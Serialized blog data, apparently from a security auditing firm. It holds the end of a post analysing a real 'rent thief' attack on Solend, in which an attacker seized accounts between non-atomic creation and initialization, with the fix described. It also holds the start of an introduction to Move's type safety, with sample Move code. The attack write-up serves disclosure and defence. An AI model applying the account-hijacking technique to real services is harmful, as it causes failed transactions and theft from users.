which is around 28 cents at the time of writing this article.",{"type":23,"tag":24,"props":4516,"children":4517},{},[4518],{"type":28,"value":4519},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":70,"props":4521,"children":4523},{"id":4522},"example",[4524],{"type":28,"value":4525},"Example",{"type":23,"tag":24,"props":4527,"children":4528},{},[4529,4531,4538],{"type":28,"value":4530},"Let's take a look at ",{"type":23,"tag":92,"props":4532,"children":4535},{"href":4533,"rel":4534},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[96],[4536],{"type":28,"value":4537},"a real attack",{"type":28,"value":320},{"type":23,"tag":24,"props":4540,"children":4541},{},[4542,4549,4551],{"type":23,"tag":92,"props":4543,"children":4546},{"href":4544,"rel":4545},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[96],[4547],{"type":28,"value":4548},"Transaction 1",{"type":28,"value":4550},":\n",{"type":23,"tag":126,"props":4552,"children":4554},{"alt":7,"src":4553},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":24,"props":4556,"children":4557},{},[4558],{"type":28,"value":4559},"(...more accounts truncated)",{"type":23,"tag":24,"props":4561,"children":4562},{},[4563],{"type":28,"value":4564},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":24,"props":4566,"children":4567},{},[4568,4575,4576],{"type":23,"tag":92,"props":4569,"children":4572},{"href":4570,"rel":4571},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[96],[4573],{"type":28,"value":4574},"Attacker's Transaction",{"type":28,"value":4550},{"type":23,"tag":126,"props":4577,"children":4579},{"alt":7,"src":4578},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":24,"props":4581,"children":4582},{},[4583],{"type":28,"value":4559},{"type":23,"tag":24,"props":4585,"children":4586},{},[4587],{"type":28,"value":4588},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":24,"props":4590,"children":4591},{},[4592,4599,4600],{"type":23,"tag":92,"props":4593,"children":4596},{"href":4594,"rel":4595},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[96],[4597],{"type":28,"value":4598},"Transaction 2",{"type":28,"value":4550},{"type":23,"tag":126,"props":4601,"children":4603},{"alt":7,"src":4602},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":24,"props":4605,"children":4606},{},[4607],{"type":23,"tag":126,"props":4608,"children":4610},{"alt":7,"src":4609},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":24,"props":4612,"children":4613},{},[4614],{"type":28,"value":4615},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":24,"props":4617,"children":4618},{},[4619,4625],{"type":23,"tag":92,"props":4620,"children":4623},{"href":4621,"rel":4622},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[96],[4624],{"type":28,"value":4574},{"type":28,"value":3472},{"type":23,"tag":24,"props":4627,"children":4628},{},[4629],{"type":23,"tag":126,"props":4630,"children":4632},{"alt":7,"src":4631},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":24,"props":4634,"children":4635},{},[4636],{"type":28,"value":4559},{"type":23,"tag":24,"props":4638,"children":4639},{},[4640],{"type":28,"value":4641},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":70,"props":4643,"children":4645},{"id":4644},"impact",[4646],{"type":28,"value":4647},"Impact",{"type":23,"tag":24,"props":4649,"children":4650},{},[4651],{"type":28,"value":4652},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":24,"props":4654,"children":4655},{},[4656],{"type":28,"value":4657},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":24,"props":4659,"children":4660},{},[4661],{"type":28,"value":4662},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":70,"props":4664,"children":4666},{"id":4665},"solution",[4667],{"type":28,"value":4668},"Solution",{"type":23,"tag":24,"props":4670,"children":4671},{},[4672],{"type":28,"value":4673},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":24,"props":4675,"children":4676},{},[4677,4679,4686],{"type":28,"value":4678},"As a more permenant solution, Solend implemented ",{"type":23,"tag":92,"props":4680,"children":4683},{"href":4681,"rel":4682},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[96],[4684],{"type":28,"value":4685},"an onchain program",{"type":28,"value":4687}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":540,"depth":540,"links":4689},[4690,4691,4692,4693,4694],{"id":4380,"depth":540,"text":4383},{"id":4401,"depth":540,"text":4404},{"id":4522,"depth":540,"text":4525},{"id":4644,"depth":540,"text":4647},{"id":4665,"depth":540,"text":4668},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":4699,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4700,"description":4701,"author":4702,"image":4703,"date":4707,"isFeatured":16,"onBlogPage":16,"body":4708,"_type":1838,"_id":8238,"_source":1840,"_file":8239,"_stem":8240,"_extension":1843},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":4704,"height":4705,"width":4706},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":4709,"toc":8233},[4710,4715,4720,4739,4745,4757,4856,4864,4984,4992,5014,5167,5172,5429,5451,5486,5491,5511,5516,5527,5539,5751,5763,5777,5790,6047,6059,6280,6285,6313,6459,6478,6483,6747,6759,6764,6777,6783,6788,6793,6805,6819,6824,6923,6935,6948,7222,7227,7239,7244,7298,7318,7323,8202,8206,8211,8216,8229],{"type":23,"tag":24,"props":4711,"children":4712},{},[4713],{"type":28,"value":4714},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":24,"props":4716,"children":4717},{},[4718],{"type":28,"value":4719},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":24,"props":4721,"children":4722},{},[4723,4725,4730,4732,4737],{"type":28,"value":4724},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":1887,"props":4726,"children":4727},{},[4728],{"type":28,"value":4729},"how",{"type":28,"value":4731}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":1887,"props":4733,"children":4734},{},[4735],{"type":28,"value":4736},"structurally",{"type":28,"value":4738}," safer programs.",{"type":23,"tag":70,"props":4740,"children":4742},{"id":4741},"types",[4743],{"type":28,"value":4744},"Types",{"type":23,"tag":24,"props":4746,"children":4747},{},[4748,4750,4756],{"type":28,"value":4749},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":56,"props":4751,"children":4753},{"className":4752},[],[4754],{"type":28,"value":4755},"coin.move",{"type":28,"value":320},{"type":23,"tag":494,"props":4758,"children":4760},{"className":1957,"code":4759,"language":1956,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[4761],{"type":23,"tag":56,"props":4762,"children":4763},{"__ignoreMap":7},[4764,4772,4819,4827,4848],{"type":23,"tag":504,"props":4765,"children":4766},{"class":506,"line":507},[4767],{"type":23,"tag":504,"props":4768,"children":4769},{"style":1106},[4770],{"type":28,"value":4771},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":504,"props":4773,"children":4774},{"class":506,"line":540},[4775,4780,4785,4790,4795,4800,4805,4810,4815],{"type":23,"tag":504,"props":4776,"children":4777},{"style":511},[4778],{"type":28,"value":4779},"  struct",{"type":23,"tag":504,"props":4781,"children":4782},{"style":1012},[4783],{"type":28,"value":4784}," Coin",{"type":23,"tag":504,"props":4786,"children":4787},{"style":523},[4788],{"type":28,"value":4789},"\u003C",{"type":23,"tag":504,"props":4791,"children":4792},{"style":529},[4793],{"type":28,"value":4794},"phantom",{"type":23,"tag":504,"props":4796,"children":4797},{"style":1012},[4798],{"type":28,"value":4799}," CoinType",{"type":23,"tag":504,"props":4801,"children":4802},{"style":523},[4803],{"type":28,"value":4804},"> ",{"type":23,"tag":504,"props":4806,"children":4807},{"style":529},[4808],{"type":28,"value":4809},"has",{"type":23,"tag":504,"props":4811,"children":4812},{"style":529},[4813],{"type":28,"value":4814}," store",{"type":23,"tag":504,"props":4816,"children":4817},{"style":523},[4818],{"type":28,"value":552},{"type":23,"tag":504,"props":4820,"children":4821},{"class":506,"line":555},[4822],{"type":23,"tag":504,"props":4823,"children":4824},{"style":1106},[4825],{"type":28,"value":4826},"      /// Amount of coin this address has.\n",{"type":23,"tag":504,"props":4828,"children":4829},{"class":506,"line":633},[4830,4835,4839,4844],{"type":23,"tag":504,"props":4831,"children":4832},{"style":529},[4833],{"type":28,"value":4834},"      value",{"type":23,"tag":504,"props":4836,"children":4837},{"style":598},[4838],{"type":28,"value":3472},{"type":23,"tag":504,"props":4840,"children":4841},{"style":1012},[4842],{"type":28,"value":4843}," u64",{"type":23,"tag":504,"props":4845,"children":4846},{"style":523},[4847],{"type":28,"value":2484},{"type":23,"tag":504,"props":4849,"children":4850},{"class":506,"line":687},[4851],{"type":23,"tag":504,"props":4852,"children":4853},{"style":523},[4854],{"type":28,"value":4855},"  }\n",{"type":23,"tag":24,"props":4857,"children":4858},{},[4859],{"type":23,"tag":1887,"props":4860,"children":4861},{},[4862],{"type":28,"value":4863},"aptos",{"type":23,"tag":494,"props":4865,"children":4867},{"className":1957,"code":4866,"language":1956,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[4868],{"type":23,"tag":56,"props":4869,"children":4870},{"__ignoreMap":7},[4871,4879,4929,4946,4977],{"type":23,"tag":504,"props":4872,"children":4873},{"class":506,"line":507},[4874],{"type":23,"tag":504,"props":4875,"children":4876},{"style":1106},[4877],{"type":28,"value":4878},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":504,"props":4880,"children":4881},{"class":506,"line":540},[4882,4886,4890,4894,4898,4903,4907,4911,4916,4920,4925],{"type":23,"tag":504,"props":4883,"children":4884},{"style":511},[4885],{"type":28,"value":4779},{"type":23,"tag":504,"props":4887,"children":4888},{"style":1012},[4889],{"type":28,"value":4784},{"type":23,"tag":504,"props":4891,"children":4892},{"style":523},[4893],{"type":28,"value":4789},{"type":23,"tag":504,"props":4895,"children":4896},{"style":529},[4897],{"type":28,"value":4794},{"type":23,"tag":504,"props":4899,"children":4900},{"style":1012},[4901],{"type":28,"value":4902}," T",{"type":23,"tag":504,"props":4904,"children":4905},{"style":523},[4906],{"type":28,"value":4804},{"type":23,"tag":504,"props":4908,"children":4909},{"style":529},[4910],{"type":28,"value":4809},{"type":23,"tag":504,"props":4912,"children":4913},{"style":529},[4914],{"type":28,"value":4915}," key",{"type":23,"tag":504,"props":4917,"children":4918},{"style":523},[4919],{"type":28,"value":576},{"type":23,"tag":504,"props":4921,"children":4922},{"style":529},[4923],{"type":28,"value":4924},"store",{"type":23,"tag":504,"props":4926,"children":4927},{"style":523},[4928],{"type":28,"value":552},{"type":23,"tag":504,"props":4930,"children":4931},{"class":506,"line":555},[4932,4937,4941],{"type":23,"tag":504,"props":4933,"children":4934},{"style":529},[4935],{"type":28,"value":4936},"      id",{"type":23,"tag":504,"props":4938,"children":4939},{"style":598},[4940],{"type":28,"value":3472},{"type":23,"tag":504,"props":4942,"children":4943},{"style":523},[4944],{"type":28,"value":4945}," UID,\n",{"type":23,"tag":504,"props":4947,"children":4948},{"class":506,"line":633},[4949,4954,4958,4963,4967,4972],{"type":23,"tag":504,"props":4950,"children":4951},{"style":529},[4952],{"type":28,"value":4953},"      balance",{"type":23,"tag":504,"props":4955,"children":4956},{"style":598},[4957],{"type":28,"value":3472},{"type":23,"tag":504,"props":4959,"children":4960},{"style":1012},[4961],{"type":28,"value":4962}," Balance",{"type":23,"tag":504,"props":4964,"children":4965},{"style":523},[4966],{"type":28,"value":4789},{"type":23,"tag":504,"props":4968,"children":4969},{"style":1012},[4970],{"type":28,"value":4971},"T",{"type":23,"tag":504,"props":4973,"children":4974},{"style":523},[4975],{"type":28,"value":4976},">\n",{"type":23,"tag":504,"props":4978,"children":4979},{"class":506,"line":687},[4980],{"type":23,"tag":504,"props":4981,"children":4982},{"style":523},[4983],{"type":28,"value":4855},{"type":23,"tag":24,"props":4985,"children":4986},{},[4987],{"type":23,"tag":1887,"props":4988,"children":4989},{},[4990],{"type":28,"value":4991},"sui",{"type":23,"tag":24,"props":4993,"children":4994},{},[4995,4997,5004,5006,5012],{"type":28,"value":4996},"Pulling an example from ",{"type":23,"tag":92,"props":4998,"children":5001},{"href":4999,"rel":5000},"https://pontem.network/",[96],[5002],{"type":28,"value":5003},"Pontem Network's",{"type":28,"value":5005}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":56,"props":5007,"children":5009},{"className":5008},[],[5010],{"type":28,"value":5011},"LiquidityPool",{"type":28,"value":5013}," natively embeds this type information into it's fields.",{"type":23,"tag":494,"props":5015,"children":5017},{"className":1957,"code":5016,"language":1956,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[5018],{"type":23,"tag":56,"props":5019,"children":5020},{"__ignoreMap":7},[5021,5029,5093,5123,5152,5160],{"type":23,"tag":504,"props":5022,"children":5023},{"class":506,"line":507},[5024],{"type":23,"tag":504,"props":5025,"children":5026},{"style":1106},[5027],{"type":28,"value":5028},"    /// Liquidity pool with reserves.\n",{"type":23,"tag":504,"props":5030,"children":5031},{"class":506,"line":540},[5032,5037,5042,5046,5050,5055,5059,5063,5068,5072,5076,5081,5085,5089],{"type":23,"tag":504,"props":5033,"children":5034},{"style":511},[5035],{"type":28,"value":5036},"    struct",{"type":23,"tag":504,"props":5038,"children":5039},{"style":1012},[5040],{"type":28,"value":5041}," LiquidityPool",{"type":23,"tag":504,"props":5043,"children":5044},{"style":523},[5045],{"type":28,"value":4789},{"type":23,"tag":504,"props":5047,"children":5048},{"style":529},[5049],{"type":28,"value":4794},{"type":23,"tag":504,"props":5051,"children":5052},{"style":1012},[5053],{"type":28,"value":5054}," X",{"type":23,"tag":504,"props":5056,"children":5057},{"style":523},[5058],{"type":28,"value":576},{"type":23,"tag":504,"props":5060,"children":5061},{"style":529},[5062],{"type":28,"value":4794},{"type":23,"tag":504,"props":5064,"children":5065},{"style":1012},[5066],{"type":28,"value":5067}," Y",{"type":23,"tag":504,"props":5069,"children":5070},{"style":523},[5071],{"type":28,"value":576},{"type":23,"tag":504,"props":5073,"children":5074},{"style":529},[5075],{"type":28,"value":4794},{"type":23,"tag":504,"props":5077,"children":5078},{"style":523},[5079],{"type":28,"value":5080}," LP> ",{"type":23,"tag":504,"props":5082,"children":5083},{"style":529},[5084],{"type":28,"value":4809},{"type":23,"tag":504,"props":5086,"children":5087},{"style":529},[5088],{"type":28,"value":4915},{"type":23,"tag":504,"props":5090,"children":5091},{"style":523},[5092],{"type":28,"value":552},{"type":23,"tag":504,"props":5094,"children":5095},{"class":506,"line":555},[5096,5101,5105,5109,5113,5118],{"type":23,"tag":504,"props":5097,"children":5098},{"style":529},[5099],{"type":28,"value":5100},"        coin_x_reserve",{"type":23,"tag":504,"props":5102,"children":5103},{"style":598},[5104],{"type":28,"value":3472},{"type":23,"tag":504,"props":5106,"children":5107},{"style":1012},[5108],{"type":28,"value":4784},{"type":23,"tag":504,"props":5110,"children":5111},{"style":523},[5112],{"type":28,"value":4789},{"type":23,"tag":504,"props":5114,"children":5115},{"style":1012},[5116],{"type":28,"value":5117},"X",{"type":23,"tag":504,"props":5119,"children":5120},{"style":523},[5121],{"type":28,"value":5122},">,\n",{"type":23,"tag":504,"props":5124,"children":5125},{"class":506,"line":633},[5126,5131,5135,5139,5143,5148],{"type":23,"tag":504,"props":5127,"children":5128},{"style":529},[5129],{"type":28,"value":5130},"        coin_y_reserve",{"type":23,"tag":504,"props":5132,"children":5133},{"style":598},[5134],{"type":28,"value":3472},{"type":23,"tag":504,"props":5136,"children":5137},{"style":1012},[5138],{"type":28,"value":4784},{"type":23,"tag":504,"props":5140,"children":5141},{"style":523},[5142],{"type":28,"value":4789},{"type":23,"tag":504,"props":5144,"children":5145},{"style":1012},[5146],{"type":28,"value":5147},"Y",{"type":23,"tag":504,"props":5149,"children":5150},{"style":523},[5151],{"type":28,"value":5122},{"type":23,"tag":504,"props":5153,"children":5154},{"class":506,"line":687},[5155],{"type":23,"tag":504,"props":5156,"children":5157},{"style":1106},[5158],{"type":28,"value":5159},"        // ...\n",{"type":23,"tag":504,"props":5161,"children":5162},{"class":506,"line":736},[5163],{"type":23,"tag":504,"props":5164,"children":5165},{"style":523},[5166],{"type":28,"value":875},{"type":23,"tag":24,"props":5168,"children":5169},{},[5170],{"type":28,"value":5171},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":494,"props":5173,"children":5175},{"className":1957,"code":5174,"language":1956,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[5176],{"type":23,"tag":56,"props":5177,"children":5178},{"__ignoreMap":7},[5179,5217,5238,5266,5294,5345,5353,5360],{"type":23,"tag":504,"props":5180,"children":5181},{"class":506,"line":507},[5182,5187,5191,5196,5200,5204,5208,5212],{"type":23,"tag":504,"props":5183,"children":5184},{"style":529},[5185],{"type":28,"value":5186},"      public",{"type":23,"tag":504,"props":5188,"children":5189},{"style":529},[5190],{"type":28,"value":1051},{"type":23,"tag":504,"props":5192,"children":5193},{"style":529},[5194],{"type":28,"value":5195}," mint",{"type":23,"tag":504,"props":5197,"children":5198},{"style":523},[5199],{"type":28,"value":4789},{"type":23,"tag":504,"props":5201,"children":5202},{"style":1012},[5203],{"type":28,"value":5117},{"type":23,"tag":504,"props":5205,"children":5206},{"style":523},[5207],{"type":28,"value":576},{"type":23,"tag":504,"props":5209,"children":5210},{"style":1012},[5211],{"type":28,"value":5147},{"type":23,"tag":504,"props":5213,"children":5214},{"style":523},[5215],{"type":28,"value":5216},", LP>(\n",{"type":23,"tag":504,"props":5218,"children":5219},{"class":506,"line":540},[5220,5225,5229,5234],{"type":23,"tag":504,"props":5221,"children":5222},{"style":529},[5223],{"type":28,"value":5224},"          pool_addr",{"type":23,"tag":504,"props":5226,"children":5227},{"style":598},[5228],{"type":28,"value":3472},{"type":23,"tag":504,"props":5230,"children":5231},{"style":529},[5232],{"type":28,"value":5233}," address",{"type":23,"tag":504,"props":5235,"children":5236},{"style":523},[5237],{"type":28,"value":2484},{"type":23,"tag":504,"props":5239,"children":5240},{"class":506,"line":555},[5241,5246,5250,5254,5258,5262],{"type":23,"tag":504,"props":5242,"children":5243},{"style":529},[5244],{"type":28,"value":5245},"          coin_x",{"type":23,"tag":504,"props":5247,"children":5248},{"style":598},[5249],{"type":28,"value":3472},{"type":23,"tag":504,"props":5251,"children":5252},{"style":1012},[5253],{"type":28,"value":4784},{"type":23,"tag":504,"props":5255,"children":5256},{"style":523},[5257],{"type":28,"value":4789},{"type":23,"tag":504,"props":5259,"children":5260},{"style":1012},[5261],{"type":28,"value":5117},{"type":23,"tag":504,"props":5263,"children":5264},{"style":523},[5265],{"type":28,"value":5122},{"type":23,"tag":504,"props":5267,"children":5268},{"class":506,"line":633},[5269,5274,5278,5282,5286,5290],{"type":23,"tag":504,"props":5270,"children":5271},{"style":529},[5272],{"type":28,"value":5273},"          coin_y",{"type":23,"tag":504,"props":5275,"children":5276},{"style":598},[5277],{"type":28,"value":3472},{"type":23,"tag":504,"props":5279,"children":5280},{"style":1012},[5281],{"type":28,"value":4784},{"type":23,"tag":504,"props":5283,"children":5284},{"style":523},[5285],{"type":28,"value":4789},{"type":23,"tag":504,"props":5287,"children":5288},{"style":1012},[5289],{"type":28,"value":5147},{"type":23,"tag":504,"props":5291,"children":5292},{"style":523},[5293],{"type":28,"value":4976},{"type":23,"tag":504,"props":5295,"children":5296},{"class":506,"line":687},[5297,5302,5306,5310,5314,5319,5323,5328,5332,5336,5341],{"type":23,"tag":504,"props":5298,"children":5299},{"style":523},[5300],{"type":28,"value":5301},"      )",{"type":23,"tag":504,"props":5303,"children":5304},{"style":598},[5305],{"type":28,"value":3472},{"type":23,"tag":504,"props":5307,"children":5308},{"style":1012},[5309],{"type":28,"value":4784},{"type":23,"tag":504,"props":5311,"children":5312},{"style":523},[5313],{"type":28,"value":4789},{"type":23,"tag":504,"props":5315,"children":5316},{"style":1012},[5317],{"type":28,"value":5318},"LP",{"type":23,"tag":504,"props":5320,"children":5321},{"style":523},[5322],{"type":28,"value":4804},{"type":23,"tag":504,"props":5324,"children":5325},{"style":529},[5326],{"type":28,"value":5327},"acquires",{"type":23,"tag":504,"props":5329,"children":5330},{"style":1012},[5331],{"type":28,"value":5041},{"type":23,"tag":504,"props":5333,"children":5334},{"style":523},[5335],{"type":28,"value":576},{"type":23,"tag":504,"props":5337,"children":5338},{"style":1012},[5339],{"type":28,"value":5340},"EventsStore",{"type":23,"tag":504,"props":5342,"children":5343},{"style":523},[5344],{"type":28,"value":552},{"type":23,"tag":504,"props":5346,"children":5347},{"class":506,"line":736},[5348],{"type":23,"tag":504,"props":5349,"children":5350},{"style":1106},[5351],{"type":28,"value":5352},"          // ...\n",{"type":23,"tag":504,"props":5354,"children":5355},{"class":506,"line":785},[5356],{"type":23,"tag":504,"props":5357,"children":5358},{"emptyLinePlaceholder":16},[5359],{"type":28,"value":1038},{"type":23,"tag":504,"props":5361,"children":5362},{"class":506,"line":813},[5363,5368,5372,5377,5381,5386,5390,5394,5399,5403,5407,5411,5415,5420,5425],{"type":23,"tag":504,"props":5364,"children":5365},{"style":511},[5366],{"type":28,"value":5367},"          let",{"type":23,"tag":504,"props":5369,"children":5370},{"style":523},[5371],{"type":28,"value":801},{"type":23,"tag":504,"props":5373,"children":5374},{"style":529},[5375],{"type":28,"value":5376},"x_reserve_size",{"type":23,"tag":504,"props":5378,"children":5379},{"style":523},[5380],{"type":28,"value":576},{"type":23,"tag":504,"props":5382,"children":5383},{"style":529},[5384],{"type":28,"value":5385},"y_reserve_size",{"type":23,"tag":504,"props":5387,"children":5388},{"style":523},[5389],{"type":28,"value":2064},{"type":23,"tag":504,"props":5391,"children":5392},{"style":598},[5393],{"type":28,"value":601},{"type":23,"tag":504,"props":5395,"children":5396},{"style":529},[5397],{"type":28,"value":5398}," get_reserves_size",{"type":23,"tag":504,"props":5400,"children":5401},{"style":523},[5402],{"type":28,"value":4789},{"type":23,"tag":504,"props":5404,"children":5405},{"style":1012},[5406],{"type":28,"value":5117},{"type":23,"tag":504,"props":5408,"children":5409},{"style":523},[5410],{"type":28,"value":576},{"type":23,"tag":504,"props":5412,"children":5413},{"style":1012},[5414],{"type":28,"value":5147},{"type":23,"tag":504,"props":5416,"children":5417},{"style":523},[5418],{"type":28,"value":5419},", LP>(",{"type":23,"tag":504,"props":5421,"children":5422},{"style":529},[5423],{"type":28,"value":5424},"pool_addr",{"type":23,"tag":504,"props":5426,"children":5427},{"style":523},[5428],{"type":28,"value":630},{"type":23,"tag":24,"props":5430,"children":5431},{},[5432,5434,5440,5442,5449],{"type":28,"value":5433},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":56,"props":5435,"children":5437},{"className":5436},[],[5438],{"type":28,"value":5439},"ty_args",{"type":28,"value":5441}," ",{"type":23,"tag":92,"props":5443,"children":5446},{"href":5444,"rel":5445},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[96],[5447],{"type":28,"value":5448},"at the vm level",{"type":28,"value":5450},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":24,"props":5452,"children":5453},{},[5454,5456,5462,5464,5470,5472,5478,5479,5485],{"type":28,"value":5455},"In pseucode, this checks that ",{"type":23,"tag":56,"props":5457,"children":5459},{"className":5458},[],[5460],{"type":28,"value":5461},"coin_x.type",{"type":28,"value":5463}," is equal to ",{"type":23,"tag":56,"props":5465,"children":5467},{"className":5466},[],[5468],{"type":28,"value":5469},"pool.x_type",{"type":28,"value":5471},", and ",{"type":23,"tag":56,"props":5473,"children":5475},{"className":5474},[],[5476],{"type":28,"value":5477},"coin_y.type",{"type":28,"value":5463},{"type":23,"tag":56,"props":5480,"children":5482},{"className":5481},[],[5483],{"type":28,"value":5484},"pool.y_type",{"type":28,"value":320},{"type":23,"tag":24,"props":5487,"children":5488},{},[5489],{"type":28,"value":5490},"This type system has two advantages",{"type":23,"tag":41,"props":5492,"children":5493},{},[5494,5506],{"type":23,"tag":45,"props":5495,"children":5496},{},[5497,5499,5504],{"type":28,"value":5498},"It's required. The type parameter ",{"type":23,"tag":1887,"props":5500,"children":5501},{},[5502],{"type":28,"value":5503},"must",{"type":28,"value":5505}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":45,"props":5507,"children":5508},{},[5509],{"type":28,"value":5510},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":24,"props":5512,"children":5513},{},[5514],{"type":28,"value":5515},"However, this system isn't perfect.",{"type":23,"tag":24,"props":5517,"children":5518},{},[5519,5521,5526],{"type":28,"value":5520},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":296,"props":5522,"children":5523},{},[5524],{"type":28,"value":5525},"an anti-pattern",{"type":28,"value":320},{"type":23,"tag":24,"props":5528,"children":5529},{},[5530,5532,5538],{"type":28,"value":5531},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":56,"props":5533,"children":5535},{"className":5534},[],[5536],{"type":28,"value":5537},"CoinInfo\u003CCoinType>",{"type":28,"value":320},{"type":23,"tag":494,"props":5540,"children":5542},{"className":1957,"code":5541,"language":1956,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[5543],{"type":23,"tag":56,"props":5544,"children":5545},{"__ignoreMap":7},[5546,5573,5581,5650,5657,5664,5676,5721,5743],{"type":23,"tag":504,"props":5547,"children":5548},{"class":506,"line":507},[5549,5554,5559,5563,5568],{"type":23,"tag":504,"props":5550,"children":5551},{"style":529},[5552],{"type":28,"value":5553},"  fun",{"type":23,"tag":504,"props":5555,"children":5556},{"style":529},[5557],{"type":28,"value":5558}," initialize_internal",{"type":23,"tag":504,"props":5560,"children":5561},{"style":523},[5562],{"type":28,"value":4789},{"type":23,"tag":504,"props":5564,"children":5565},{"style":1012},[5566],{"type":28,"value":5567},"CoinType",{"type":23,"tag":504,"props":5569,"children":5570},{"style":523},[5571],{"type":28,"value":5572},">(\n",{"type":23,"tag":504,"props":5574,"children":5575},{"class":506,"line":540},[5576],{"type":23,"tag":504,"props":5577,"children":5578},{"style":1106},[5579],{"type":28,"value":5580},"      // ...\n",{"type":23,"tag":504,"props":5582,"children":5583},{"class":506,"line":555},[5584,5589,5593,5597,5602,5606,5610,5615,5620,5624,5628,5632,5637,5641,5645],{"type":23,"tag":504,"props":5585,"children":5586},{"style":523},[5587],{"type":28,"value":5588},"  